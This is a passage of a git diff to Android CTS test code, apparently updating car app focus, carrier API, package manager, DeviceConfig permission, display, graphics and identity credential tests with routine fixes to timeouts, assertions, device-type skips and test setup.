+             following line should be kept to make atest behave correctly. -->
         <option name="run-command" value="locksettings set-disabled true" />
     </target_preparer>
 
diff --git a/tests/tests/car/src/android/car/cts/CarAppFocusManagerTest.java b/tests/tests/car/src/android/car/cts/CarAppFocusManagerTest.java
index be2c57b..9383460 100644
--- a/tests/tests/car/src/android/car/cts/CarAppFocusManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarAppFocusManagerTest.java
@@ -47,6 +47,9 @@
 @RunWith(AndroidJUnit4.class)
 public class CarAppFocusManagerTest extends CarApiTestBase {
     private static final String TAG = CarAppFocusManagerTest.class.getSimpleName();
+
+    private static final long NO_EVENT_WAIT_TIME_MS = 50;
+
     private final Context mContext =
             InstrumentationRegistry.getInstrumentation().getTargetContext();
     private CarAppFocusManager mManager;
@@ -60,7 +63,7 @@
         // Request all application focuses and abandon them to ensure no active context is present
         // when test starts.
         int[] activeTypes =  mManager.getActiveAppTypes();
-        FocusOwnershipCallback owner = new FocusOwnershipCallback();
+        FocusOwnershipCallback owner = new FocusOwnershipCallback(/* assertEventThread= */ false);
         for (int i = 0; i < activeTypes.length; i++) {
             mManager.requestAppFocus(activeTypes[i], owner);
             owner.waitForOwnershipGrantAndAssert(DEFAULT_WAIT_TIMEOUT_MS, activeTypes[i]);
@@ -150,6 +153,7 @@
         Assert.assertArrayEquals(expectedFocuses, manager2.getActiveAppTypes());
         assertTrue(mManager.isOwningFocus(owner, CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION));
         assertFalse(manager2.isOwningFocus(owner2, CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION));
+        // should update as it became active
         assertTrue(change2.waitForFocusChangedAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
                 CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, true));
         assertTrue(change.waitForFocusChangedAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
@@ -163,34 +167,38 @@
         Assert.assertArrayEquals(expectedFocuses, mManager.getActiveAppTypes());
         Assert.assertArrayEquals(expectedFocuses, manager2.getActiveAppTypes());
 
-        // this should be no-op
         change.reset();
         change2.reset();
         assertEquals(CarAppFocusManager.APP_FOCUS_REQUEST_SUCCEEDED,
                 mManager.requestAppFocus(CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, owner));
         assertTrue(owner.waitForOwnershipGrantAndAssert(
                 DEFAULT_WAIT_TIMEOUT_MS, APP_FOCUS_TYPE_NAVIGATION));
-
         Assert.assertArrayEquals(expectedFocuses, mManager.getActiveAppTypes());
         Assert.assertArrayEquals(expectedFocuses, manager2.getActiveAppTypes());
-        assertFalse(change2.waitForFocusChangedAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
+        // The same owner requesting again triggers update
+        assertTrue(change2.waitForFocusChangedAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
                 CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, true));
-        assertFalse(change.waitForFocusChangedAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
+        assertTrue(change.waitForFocusChangedAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
                 CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, true));
 
+        change.reset();
+        change2.reset();
         assertEquals(CarAppFocusManager.APP_FOCUS_REQUEST_SUCCEEDED,
                 manager2.requestAppFocus(CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, owner2));
         assertTrue(owner2.waitForOwnershipGrantAndAssert(
                 DEFAULT_WAIT_TIMEOUT_MS, APP_FOCUS_TYPE_NAVIGATION));
-
         assertFalse(mManager.isOwningFocus(owner, CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION));
         assertTrue(manager2.isOwningFocus(owner2, CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION));
         Assert.assertArrayEquals(expectedFocuses, mManager.getActiveAppTypes());
         Assert.assertArrayEquals(expectedFocuses, manager2.getActiveAppTypes());
         assertTrue(owner.waitForOwnershipLossAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
                 CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION));
+        // ownership change should send update
+        assertTrue(change2.waitForFocusChangedAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
+                CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, true));
+        assertTrue(change.waitForFocusChangedAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
+                CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, true));
 
-        // no-op as it is not owning it
         change.reset();
         change2.reset();
         mManager.abandonAppFocus(owner, CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION);
@@ -198,15 +206,19 @@
         assertTrue(manager2.isOwningFocus(owner2, CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION));
         Assert.assertArrayEquals(expectedFocuses, mManager.getActiveAppTypes());
         Assert.assertArrayEquals(expectedFocuses, manager2.getActiveAppTypes());
+        // abandoning from non-owner should not trigger update
+        assertFalse(change2.waitForFocusChangedAndAssert(NO_EVENT_WAIT_TIME_MS,
+                CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, true));
+        assertFalse(change.waitForFocusChangedAndAssert(NO_EVENT_WAIT_TIME_MS,
+                CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, true));
 
-        change.reset();
-        change2.reset();
         assertFalse(mManager.isOwningFocus(owner, CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION));
         assertTrue(manager2.isOwningFocus(owner2, CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION));
         expectedFocuses = new int[] {CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION};
         Assert.assertArrayEquals(expectedFocuses, mManager.getActiveAppTypes());
         Assert.assertArrayEquals(expectedFocuses, manager2.getActiveAppTypes());
 
+        manager2.removeFocusListener(change2);
         change.reset();
         change2.reset();
         manager2.abandonAppFocus(owner2, CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION);
@@ -215,10 +227,14 @@
         expectedFocuses = emptyFocus;
         Assert.assertArrayEquals(expectedFocuses, mManager.getActiveAppTypes());
         Assert.assertArrayEquals(expectedFocuses, manager2.getActiveAppTypes());
+        // abandoning from owner should trigger update
         assertTrue(change.waitForFocusChangedAndAssert(DEFAULT_WAIT_TIMEOUT_MS,
                 CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, false));
+        // removed focus listener should not get events
+        assertFalse(change2.waitForFocusChangedAndAssert(NO_EVENT_WAIT_TIME_MS,
+                CarAppFocusManager.APP_FOCUS_TYPE_NAVIGATION, true));
         mManager.removeFocusListener(change);
-        manager2.removeFocusListener(change2);
+
     }
 
     @Test
@@ -304,6 +320,7 @@
         public void reset() {
             mLastChangeAppType = 0;
             mLastChangeAppActive = false;
+            mChangeWait.drainPermits();
         }
 
         @Override
@@ -320,6 +337,15 @@
             implements CarAppFocusManager.OnAppFocusOwnershipCallback {
         private volatile int mLastLossEvent;
         private final Semaphore mLossEventWait = new Semaphore(0);
+        private final boolean mAssertEventThread;
+
+        private FocusOwnershipCallback(boolean assertEventThread) {
+            mAssertEventThread = assertEventThread;
+        }
+
+        private FocusOwnershipCallback() {
+            this(true);
+        }
 
         private volatile int mLastGrantEvent;
         private final Semaphore mGrantEventWait = new Semaphore(0);
@@ -345,7 +371,9 @@
         @Override
         public void onAppFocusOwnershipLost(int appType) {
             Log.i(TAG, "onAppFocusOwnershipLoss " + appType);
-            assertMainThread();
+            if (mAssertEventThread) {
+                assertMainThread();
+            }
             mLastLossEvent = appType;
             mLossEventWait.release();
         }
diff --git a/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java b/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
index 3db003c..f678d72 100644
--- a/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
+++ b/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
@@ -254,8 +254,9 @@
         assertEquals(TelephonyManager.UPDATE_AVAILABLE_NETWORKS_SUCCESS, value);
     }
 
-    private static void assertUpdateAvailableNetworkInvalidArguments(int value) {
-        assertEquals(TelephonyManager.UPDATE_AVAILABLE_NETWORKS_INVALID_ARGUMENTS, value);
+    private static void assertUpdateAvailableNetworkNoOpportunisticSubAvailable(int value) {
+        assertEquals(
+                TelephonyManager.UPDATE_AVAILABLE_NETWORKS_NO_OPPORTUNISTIC_SUB_AVAILABLE, value);
     }
 
     private static void assertSetOpportunisticSubSuccess(int value) {
@@ -309,8 +310,8 @@
         List<AvailableNetworkInfo> availableNetworkInfos = new ArrayList<AvailableNetworkInfo>();
         Consumer<Integer> callbackSuccess =
                 CarrierApiTest::assertUpdateAvailableNetworkSuccess;
-        Consumer<Integer> callbackFailure =
-                CarrierApiTest::assertUpdateAvailableNetworkInvalidArguments;
+        Consumer<Integer> callbackNoOpportunisticSubAvailable =
+                CarrierApiTest::assertUpdateAvailableNetworkNoOpportunisticSubAvailable;
         Consumer<Integer> setOpCallbackSuccess = CarrierApiTest::assertSetOpportunisticSubSuccess;
         if (subscriptionInfoList == null || subscriptionInfoList.size() == 0
                 || !mSubscriptionManager.isActiveSubscriptionId(
@@ -321,15 +322,16 @@
                         bands);
                 availableNetworkInfos.add(availableNetworkInfo);
                 // Call updateAvailableNetworks without opportunistic subscription.
-                // callbackFailure is expected to be triggered and the return value will be checked
-                // against UPDATE_AVAILABLE_NETWORKS_INVALID_ARGUMENTS
+                // callbackNoOpportunisticSubAvailable is expected to be triggered
+                // and the return value will be checked against
+                // UPDATE_AVAILABLE_NETWORKS_NO_OPPORTUNISTIC_SUB_AVAILABLE
                 mTelephonyManager.updateAvailableNetworks(availableNetworkInfos,
-                        AsyncTask.SERIAL_EXECUTOR, callbackFailure);
+                        AsyncTask.SERIAL_EXECUTOR, callbackNoOpportunisticSubAvailable);
             } finally {
                 // clear all the operations at the end of test.
                 availableNetworkInfos.clear();
                 mTelephonyManager.updateAvailableNetworks(availableNetworkInfos,
-                        AsyncTask.SERIAL_EXECUTOR, callbackFailure);
+                        AsyncTask.SERIAL_EXECUTOR, callbackNoOpportunisticSubAvailable);
             }
         } else {
             // This is case of DSDS phone, one active opportunistic subscription and one
diff --git a/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java b/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java
index 8c70904..0fa6c9e 100644
--- a/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java
+++ b/tests/tests/carrierapi/src/android/carrierapi/cts/NetworkScanApiTest.java
@@ -83,7 +83,10 @@
     private NetworkScanRequest mNetworkScanRequest;
     private NetworkScanCallbackImpl mNetworkScanCallback;
     private static final int MAX_CELLINFO_WAIT_MILLIS = 5000; // 5 seconds
-    private static final int MAX_INIT_WAIT_MS = 60000; // 60 seconds
+    private static final int SCAN_SEARCH_TIME_SECONDS = 60;
+    // Wait one second longer than the max scan search time to give the test time to receive the
+    // results.
+    private static final int MAX_INIT_WAIT_MS = (SCAN_SEARCH_TIME_SECONDS + 1) * 1000;
     private Object mLock = new Object();
     private boolean mReady;
     private int mErrorCode;
@@ -404,7 +407,7 @@
                 NetworkScanRequest.SCAN_TYPE_ONE_SHOT /* scan type */,
                 radioAccessSpecifier.toArray(radioAccessSpecifierArray),
                 5 /* search periodicity */,
-                60 /* max search time */,
+                SCAN_SEARCH_TIME_SECONDS /* max search time */,
                 true /*enable incremental results*/,
                 5 /* incremental results periodicity */,
                 null /* List of PLMN ids (MCC-MNC) */);
diff --git a/tests/tests/content/HelloWorldApp/AndroidManifest.xml b/tests/tests/content/HelloWorldApp/AndroidManifest.xml
index f7c6c23..f195701 100644
--- a/tests/tests/content/HelloWorldApp/AndroidManifest.xml
+++ b/tests/tests/content/HelloWorldApp/AndroidManifest.xml
@@ -4,6 +4,7 @@
 
     <application
         android:allowBackup="true"
+        android:debuggable="true"
         android:icon="@mipmap/ic_launcher"
         android:label="@string/app_name"
         android:roundIcon="@mipmap/ic_launcher_round"
diff --git a/tests/tests/content/pm/SecureFrp/src/com/android/tests/securefrpinstall/SecureFrpInstallTest.java b/tests/tests/content/pm/SecureFrp/src/com/android/tests/securefrpinstall/SecureFrpInstallTest.java
index 2f1dfc7..e2712e6 100644
--- a/tests/tests/content/pm/SecureFrp/src/com/android/tests/securefrpinstall/SecureFrpInstallTest.java
+++ b/tests/tests/content/pm/SecureFrp/src/com/android/tests/securefrpinstall/SecureFrpInstallTest.java
@@ -59,7 +59,7 @@
     private static void setSecureFrp(boolean secureFrp) throws Exception {
         adoptShellPermissions();
         SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(),
-                "settings put secure secure_frp_mode " + (secureFrp ? "1" : "0"));
+                "settings put --user 0 secure secure_frp_mode " + (secureFrp ? "1" : "0"));
         dropShellPermissions();
     }
 
diff --git a/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java b/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
index 29a860e..47ccab4 100644
--- a/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
+++ b/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
@@ -445,7 +445,10 @@
     }
 
     public void testInteractAcrossProfilesSettings() {
-        assertCanBeHandled(new Intent(Settings.ACTION_MANAGE_CROSS_PROFILE_ACCESS));
+        PackageManager packageManager = mContext.getPackageManager();
+        if (packageManager.hasSystemFeature(PackageManager.FEATURE_MANAGED_PROFILES)) {
+            assertCanBeHandled(new Intent(Settings.ACTION_MANAGE_CROSS_PROFILE_ACCESS));
+        }
     }
 
     public void testChangeDefaultSmsApplication() {
@@ -496,6 +499,12 @@
 
     @CddTest(requirement = "7.4.2.6/C-1-1")
     public void testEasyConnectIntent() {
+        // Android only supports Initiator-... modes right now, which require the device to
+        // have a QR-code capture mechanism. Therefore this feature does not make sense on
+        // non-handheld devices.
+        if (!isHandheld()) {
+            return;
+        }
         WifiManager manager = mContext.getSystemService(WifiManager.class);
 
         if (manager.isEasyConnectSupported()) {
@@ -529,6 +538,11 @@
     }
 
     public void testVoiceInputSettingsIntent() {
+        // Non-handheld devices do not allow more than one VoiceInteractionService, and therefore do
+        // not have to support this Intent.
+        if (!isHandheld()) {
+            return;
+        }
         Intent intent = new Intent(Settings.ACTION_VOICE_INPUT_SETTINGS);
         assertCanBeHandled(intent);
     }
diff --git a/tests/tests/content/src/android/content/pm/cts/FeatureTest.java b/tests/tests/content/src/android/content/pm/cts/FeatureTest.java
index 99d7268..beab1c4 100644
--- a/tests/tests/content/src/android/content/pm/cts/FeatureTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/FeatureTest.java
@@ -76,6 +76,11 @@
             return;
         }
 
+        // Skip the tests for low-RAM devices
+        if (mActivityManager.isLowRamDevice()) {
+            return;
+        }
+
         fail("Device should support managed profiles, but "
                 + PackageManager.FEATURE_MANAGED_USERS + " is not enabled");
     }
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandIncrementalTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandIncrementalTest.java
index ba6a589..75f7cc4 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandIncrementalTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandIncrementalTest.java
@@ -268,8 +268,11 @@
         });
         readFromProcess.start();
 
-        installPackage(TEST_APK);
-        assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+        for (int i = 0; i < 3; ++i) {
+            installPackage(TEST_APK);
+            assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+            uninstallPackageSilently(TEST_APP_PACKAGE);
+        }
 
         readFromProcess.join();
         assertNotEquals(0, result.size());
diff --git a/tests/tests/deviceconfig/AndroidManifest.xml b/tests/tests/deviceconfig/AndroidManifest.xml
index ee3a34c..eafb00a 100755
--- a/tests/tests/deviceconfig/AndroidManifest.xml
+++ b/tests/tests/deviceconfig/AndroidManifest.xml
@@ -22,6 +22,12 @@
         <uses-library android:name="android.test.runner" />
     </application>
 
+    <!--
+       - Must set INTERACT_ACROSS_USERS because DeviceConfig always run as user 0, and the CTS tests
+       - might be running as a secondary user
+      -->
+    <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS" />
+
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.deviceconfig.cts"
                      android:label="CTS tests for DeviceConfig API">
diff --git a/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiPermissionTests.java b/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiPermissionTests.java
index 15fb469..6d77ebb 100644
--- a/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiPermissionTests.java
+++ b/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiPermissionTests.java
@@ -189,8 +189,8 @@
             violations.append("DeviceConfig.setProperties() for public namespaces must not be "
                     + " accessible without WRITE_DEVICE_CONFIG permission\n");
         } catch (DeviceConfig.BadConfigException e) {
-            violations.append("DeviceConfig.setProperties() should not throw BadConfigException "
-                    + "without a known bad configuration.");
+            addExceptionToViolations(violations, "DeviceConfig.setProperties() should not throw "
+                    + "BadConfigException without a known bad configuration", e);
         } catch (SecurityException e) {
         }
 
@@ -200,8 +200,8 @@
         try {
             DeviceConfig.setProperty(PUBLIC_NAMESPACE, KEY, VALUE, /*makeDefault=*/ false);
         } catch (SecurityException e) {
-            violations.append("DeviceConfig.setProperty() must be accessible with"
-                    + " WRITE_DEVICE_CONFIG permission\n");
+            addExceptionToViolations(violations, "DeviceConfig.setProperty() must be accessible "
+                    + "with WRITE_DEVICE_CONFIG permission", e);
         }
 
         try {
@@ -209,11 +209,11 @@
                     new Properties.Builder(PUBLIC_NAMESPACE).setString(KEY, VALUE).build();
             DeviceConfig.setProperties(properties);
         } catch (DeviceConfig.BadConfigException e) {
-            violations.append("DeviceConfig.setProperties() should not throw BadConfigException"
-                    + " without a known bad configuration.");
+            addExceptionToViolations(violations, "DeviceConfig.setProperties() should not throw "
+                    + "BadConfigException without a known bad configuration", e);
         } catch (SecurityException e) {
-            violations.append("DeviceConfig.setProperties() must be accessible with"
-                    + " WRITE_DEVICE_CONFIG permission.\n");
+            addExceptionToViolations(violations, "DeviceConfig.setProperties() must be accessible "
+                    + "with WRITE_DEVICE_CONFIG permission", e);
         }
 
         try {
@@ -221,8 +221,8 @@
             assertEquals("Value read from DeviceConfig API public namespace does not match written"
                     + " value.", VALUE, property);
         } catch (SecurityException e) {
-            violations.append("DeviceConfig.getProperty() for public namespaces must be accessible "
-                    + "without READ_DEVICE_CONFIG permission\n");
+            addExceptionToViolations(violations, "DeviceConfig.getProperty() for public namespaces "
+                    + "must be accessible without READ_DEVICE_CONFIG permission", e);
         }
 
         try {
@@ -230,16 +230,17 @@
             assertEquals("Value read from DeviceConfig API public namespace does not match written"
                     + " value.", VALUE, properties.getString(KEY, "default_value"));
         } catch (SecurityException e) {
-            violations.append("DeviceConfig.getProperties() for public namespaces must be "
-                    + "accessible without READ_DEVICE_CONFIG permission\n");
+            addExceptionToViolations(violations, "DeviceConfig.getProperties() for public "
+                    + "namespaces must be accessible without READ_DEVICE_CONFIG permission", e);
         }
 
         try {
             DeviceConfig.addOnPropertiesChangedListener(
                     PUBLIC_NAMESPACE, EXECUTOR, new TestOnPropertiesListener());
         } catch (SecurityException e) {
-            violations.append("DeviceConfig.addOnPropertiesChangeListener() for public namespaces "
-                    + "must be accessible without READ_DEVICE_CONFIG permission\n");
+            addExceptionToViolations(violations, "DeviceConfig.addOnPropertiesChangeListener() for "
+                    + "public namespaces must be accessible without READ_DEVICE_CONFIG permission",
+                    e);
         }
 
         // Bail if we found any violations
@@ -271,8 +272,8 @@
             violations.append("DeviceConfig.setProperties() must not be accessible without "
                     + "WRITE_DEVICE_CONFIG permission.\n");
         } catch (DeviceConfig.BadConfigException e) {
-            violations.append("DeviceConfig.setProperties() should not throw BadConfigException "
-                    + "without a known bad configuration.");
+            addExceptionToViolations(violations, "DeviceConfig.setProperties() should not throw "
+                    + "BadConfigException without a known bad configuration.", e);
         } catch (SecurityException e) {
         }
     }
@@ -309,8 +310,8 @@
         try {
             DeviceConfig.setProperty(NAMESPACE, KEY, VALUE, /*makeDefault=*/ false);
         } catch (SecurityException e) {
-            violations.append("DeviceConfig.setProperty() must be accessible with"
-                    + " WRITE_DEVICE_CONFIG permission\n");
+            addExceptionToViolations(violations, "DeviceConfig.setProperty() must be accessible "
+                    + "with WRITE_DEVICE_CONFIG permission", e);
         }
     }
 
@@ -323,8 +324,8 @@
             violations.append("DeviceConfig.setProperties() should not throw BadConfigException"
                     + " without a known bad configuration.");
         } catch (SecurityException e) {
-            violations.append("DeviceConfig.setProperties() must be accessible with"
-                    + " WRITE_DEVICE_CONFIG permission.\n");
+            addExceptionToViolations(violations, "DeviceConfig.setProperties() must be accessible "
+                    + "with WRITE DEVICE_CONFIG permission", e);
         }
     }
 
@@ -333,8 +334,8 @@
         try {
             property = DeviceConfig.getProperty(NAMESPACE, KEY);
         } catch (SecurityException e) {
-            violations.append("DeviceConfig.getProperty() must be accessible with"
-                    + " READ_DEVICE_CONFIG permission\n");
+            addExceptionToViolations(violations, "DeviceConfig.getProperty() must be accessible "
+                    + "with READ_DEVICE_CONFIG permission", e);
         }
         return property;
     }
@@ -344,8 +345,8 @@
         try {
             properties = DeviceConfig.getProperties(NAMESPACE2);
         } catch (SecurityException e) {
-            violations.append("DeviceConfig.getProperties() must be accessible with"
-                    + " READ_DEVICE_CONFIG permission\n");
+            addExceptionToViolations(violations, "DeviceConfig.getProperties() must be accessible "
+                    + "with READ_DEVICE_CONFIG permission", e);
         }
         return properties;
     }
@@ -355,8 +356,13 @@
             DeviceConfig.addOnPropertiesChangedListener(
                     NAMESPACE, EXECUTOR, new TestOnPropertiesListener());
         } catch (SecurityException e) {
-            violations.append("DeviceConfig.addOnPropertiesChangeListener() must be accessible with"
-                    + " READ_DEVICE_CONFIG permission\n");
+            addExceptionToViolations(violations, "DeviceConfig.addOnPropertiesChangeListener() must"
+                    + " be accessible with READ_DEVICE_CONFIG permission", e);
         }
     }
+
+    private static void addExceptionToViolations(StringBuilder violations, String message,
+            Exception e) {
+        violations.append(message).append(": ").append(e).append("\n");
+    }
 }
diff --git a/tests/tests/display/src/android/display/cts/DisplayTest.java b/tests/tests/display/src/android/display/cts/DisplayTest.java
index aeb5ce0..94295e2 100644
--- a/tests/tests/display/src/android/display/cts/DisplayTest.java
+++ b/tests/tests/display/src/android/display/cts/DisplayTest.java
@@ -297,14 +297,12 @@
         assertEquals((float)SECONDARY_DISPLAY_DPI, outMetrics.ydpi, 0.0001f);
     }
 
-    /**
-     * Test that the getFlags method returns no flag bits set for the overlay display.
-     */
+    /** Test that the getFlags method returns expected flag bits set for the overlay display. */
     @Test
     public void testFlags() {
         Display display = getSecondaryDisplay(mDisplayManager.getDisplays());
 
-        assertEquals(Display.FLAG_PRESENTATION, display.getFlags());
+        assertEquals(Display.FLAG_PRESENTATION | Display.FLAG_TRUSTED, display.getFlags());
     }
 
     /**
diff --git a/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java b/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java
index 7e29288..2333601 100644
--- a/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java
+++ b/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java
@@ -44,7 +44,7 @@
                 (WindowManager) getContext().getSystemService(Context.WINDOW_SERVICE);
         Display display = windowManager.getDefaultDisplay();
         mMetrics = new DisplayMetrics();
-        display.getMetrics(mMetrics);
+        display.getRealMetrics(mMetrics);
     }
 
     @Presubmit
diff --git a/tests/tests/graphics/src/android/graphics/cts/FrameRateCtsActivity.java b/tests/tests/graphics/src/android/graphics/cts/FrameRateCtsActivity.java
index 5ad060a..dee467e 100644
--- a/tests/tests/graphics/src/android/graphics/cts/FrameRateCtsActivity.java
+++ b/tests/tests/graphics/src/android/graphics/cts/FrameRateCtsActivity.java
@@ -48,7 +48,7 @@
     }
 
     private static String TAG = "FrameRateCtsActivity";
-    private static final long FRAME_RATE_SWITCH_GRACE_PERIOD_SECONDS = 1;
+    private static final long FRAME_RATE_SWITCH_GRACE_PERIOD_SECONDS = 2;
     private static final long STABLE_FRAME_RATE_WAIT_SECONDS = 1;
     private static final long POST_BUFFER_INTERVAL_MILLIS = 500;
     private static final int PRECONDITION_WAIT_MAX_ATTEMPTS = 5;
diff --git a/tests/tests/graphics/src/android/graphics/cts/VulkanDeqpLevelTest.java b/tests/tests/graphics/src/android/graphics/cts/VulkanDeqpLevelTest.java
index a736878..a11406c 100644
--- a/tests/tests/graphics/src/android/graphics/cts/VulkanDeqpLevelTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/VulkanDeqpLevelTest.java
@@ -71,7 +71,8 @@
     @CddTest(requirement = "7.1.4.2/C-1-8,C-1-9")
     @Test
     public void testVulkanDeqpLevel() {
-        if (mVulkanHardwareVersion.version >= VULKAN_1_0) {
+        if (mVulkanHardwareVersion != null
+                && mVulkanHardwareVersion.version >= VULKAN_1_0) {
             if (DEBUG) {
                 Log.d(TAG, "Checking whether " + PackageManager.FEATURE_VULKAN_DEQP_LEVEL
                         + " has an acceptable value");
diff --git a/tests/tests/identity/src/android/security/identity/cts/DynamicAuthTest.java b/tests/tests/identity/src/android/security/identity/cts/DynamicAuthTest.java
index 1ed9b94..c5c5cd1 100644
--- a/tests/tests/identity/src/android/security/identity/cts/DynamicAuthTest.java
+++ b/tests/tests/identity/src/android/security/identity/cts/DynamicAuthTest.java
@@ -112,40 +112,7 @@
         KeyPair ephemeralKeyPair = credential.createEphemeralKeyPair();
         credential.setReaderEphemeralPublicKey(readerEphemeralKeyPair.getPublic());
 
-        // However it should fail if device authentication *is* requested. Also check that.
-        //
-        // First, create a fake sessionTranscript... we expect things to fail with
-        // with ERROR_EPHEMERAL_PUBLIC_KEY_NOT_FOUND because the correct ephemeral key is
-        // not in the right place.
-        ByteArrayOutputStream stBaos = new ByteArrayOutputStream();
-        try {
-            new CborEncoder(stBaos).encode(new CborBuilder()
-                    .addArray()
-                    .add(new byte[]{0x01, 0x02})  // The device engagement structure, encoded
-                    .add(new byte[]{0x03, 0x04})  // Reader ephemeral public key, encoded
-                    .end()
-                    .build());
-        } catch (CborException e) {
-            e.printStackTrace();
-            assertTrue(false);
-        }
-        byte[] sessionTranscript = stBaos.toByteArray();
-        try {
-            rd = credential.getEntries(
-                    Util.createItemsRequest(entriesToRequest, null),
-                    entriesToRequest,
-                    sessionTranscript,
-                    null);
-            assertTrue(false);
-        } catch (EphemeralPublicKeyNotFoundException e) {
-            // This is the expected path...
-        } catch (IdentityCredentialException e) {
-            e.printStackTrace();
-            assertTrue(false);
-        }
-
-        // Now, correct the sessionTranscript
-        sessionTranscript = Util.buildSessionTranscript(ephemeralKeyPair);
+        byte[] sessionTranscript = Util.buildSessionTranscript(ephemeralKeyPair);
         // Then check that getEntries() throw NoAuthenticationKeyAvailableException (_even_ when
         // allowing using exhausted keys).
         try {
@@ -222,6 +189,37 @@
         }
         assertEquals(3, certificates.size());
 
+        // Now that we've provisioned authentication keys, presentation will no longer fail with
+        // NoAuthenticationKeyAvailableException ... So now we can try a sessionTranscript without
+        // the ephemeral public key that was created in the Secure Area and check it fails with
+        // EphemeralPublicKeyNotFoundException instead...
+        ByteArrayOutputStream stBaos = new ByteArrayOutputStream();
+        try {
+            new CborEncoder(stBaos).encode(new CborBuilder()
+                    .addArray()
+                    .add(new byte[]{0x01, 0x02})  // The device engagement structure, encoded
+                    .add(new byte[]{0x03, 0x04})  // Reader ephemeral public key, encoded
+                    .end()
+                    .build());
+        } catch (CborException e) {
+            e.printStackTrace();
+            assertTrue(false);
+        }
+        byte[] wrongSessionTranscript = stBaos.toByteArray();
+        try {
+            rd = credential.getEntries(
+                    Util.createItemsRequest(entriesToRequest, null),
+                    entriesToRequest,
+                    wrongSessionTranscript,
+                    null);
+            assertTrue(false);
+        } catch (EphemeralPublicKeyNotFoundException e) {
+            // This is the expected path...
+        } catch (IdentityCredentialException e) {
+            e.printStackTrace();
+            assertTrue(false);
+        }
+
         // Now use one of the keys...
         entriesToRequest = new LinkedHashMap<>();
         entriesToRequest.put("org.iso.18013-5.2019",
@@ -270,10 +268,13 @@
         // Calculate the MAC by deriving the key using ECDH and HKDF.
         SecretKey eMacKey = Util.calcEMacKeyForReader(
             key0Cert.getPublicKey(),
-            readerEphemeralKeyPair.getPrivate());
+            readerEphemeralKeyPair.getPrivate(),
+            sessionTranscript);
+        byte[] deviceAuthenticationBytes =
+                Util.prependSemanticTagForEncodedCbor(deviceAuthenticationCbor);
         byte[] expectedMac = Util.coseMac0(eMacKey,
-                new byte[0],                // payload
-                deviceAuthenticationCbor);  // additionalData
+                new byte[0],                 // payload
+                deviceAuthenticationBytes);  // detached content
 
         // Then compare it with what the TA produced.
         assertArrayEquals(expectedMac, rd.getMessageAuthenticationCode());
@@ -306,10 +307,13 @@
             resultCbor);
         eMacKey = Util.calcEMacKeyForReader(
             key4Cert.getPublicKey(),
-            readerEphemeralKeyPair.getPrivate());
+            readerEphemeralKeyPair.getPrivate(),
+            sessionTranscript);
+        deviceAuthenticationBytes =
+                Util.prependSemanticTagForEncodedCbor(deviceAuthenticationCbor);
         expectedMac = Util.coseMac0(eMacKey,
-                new byte[0],                // payload
-                deviceAuthenticationCbor);  // additionalData
+                new byte[0],                 // payload
+                deviceAuthenticationBytes);  // detached content
         assertArrayEquals(expectedMac, rd.getMessageAuthenticationCode());
 
         // And again.... this time key0 should have been used. Check it.
@@ -438,10 +442,13 @@
             resultCbor);
         eMacKey = Util.calcEMacKeyForReader(
